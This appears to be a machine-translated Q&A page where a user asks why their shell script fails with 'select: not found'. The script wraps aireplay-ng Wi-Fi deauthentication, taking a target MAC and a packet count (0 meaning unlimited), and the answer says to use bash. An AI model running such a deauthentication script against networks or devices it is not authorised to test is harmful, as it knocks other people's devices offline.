ユーザー入力シェルスクリプト構文エラー

ユーザー入力シェルスクリプト構文エラー

私はシェルスクリプトなどに初めてアクセスし、このコマンドを自動的に実行するスクリプトを作成したかったのです。

sudo aireplay-ng -0 (given number) -a (Router MAC Address) -c (Target MAC address) wlx000f60071636

スクリプトはユーザー入力を要求し、ユーザー入力に従ってコマンドを実行します。

したがって、私は次のページを参照しました。

http://www.aircrack-ng.org/doku.php?id=認証をキャンセル- エアギャップ構築用

http://www.tutorialspoint.com/unix/unix-shell-functions.htm- -0 の代わりに異なる数値を使用して異なるコマンドを生成する機能を設計します。

https://stackoverflow.com/questions/226703/how-do-i-prompt-for-input-in-a-linux-shell-script- ユーザー入力用

http://www.tutorialspoint.com/unix/unix-using-variables.htm- 変数の場合

このページを使用して、次のスクリプトを作成しました。

#!/bin/sh
ROUTER="(my router MAC)"
echo "Perform a wifi command?"
select yn in "Yes" "No"; do
    case $yn in
        Yes ) Deauth; break;;
        No ) exit;;
    esac
done

Deauth () {
    sudo airmon-ng start wlx000f60071636
    sudo airmon-ng check kill
    echo "Please specify device MAC:"
    read dmac
    echo "Number of commands to send, with 0 being unlimited:"
    read numts
    sudo aireplay-ng -0 $numts -a $ROUTER -c $dmac wlx000f60071636
}

しかし、実行後

chmod +x wificommand.sh

そして

sh wificommand.sh

エラーメッセージが表示されます。

wificommand.sh: 4: wificommand.sh: select: not found
wificommand.sh: 9: wificommand.sh: Syntax error: "done" unexpected

私のコードに問題がありますか?セレクト不可ですか?なぜそこにいるべきではないのですか?ユーザー入力でコマンドを実行する正しい方法ですか?

答え1

selectbash内蔵型ではなくsh内蔵型です。最初の行を次に変更します。

#!/bin/bash

関連情報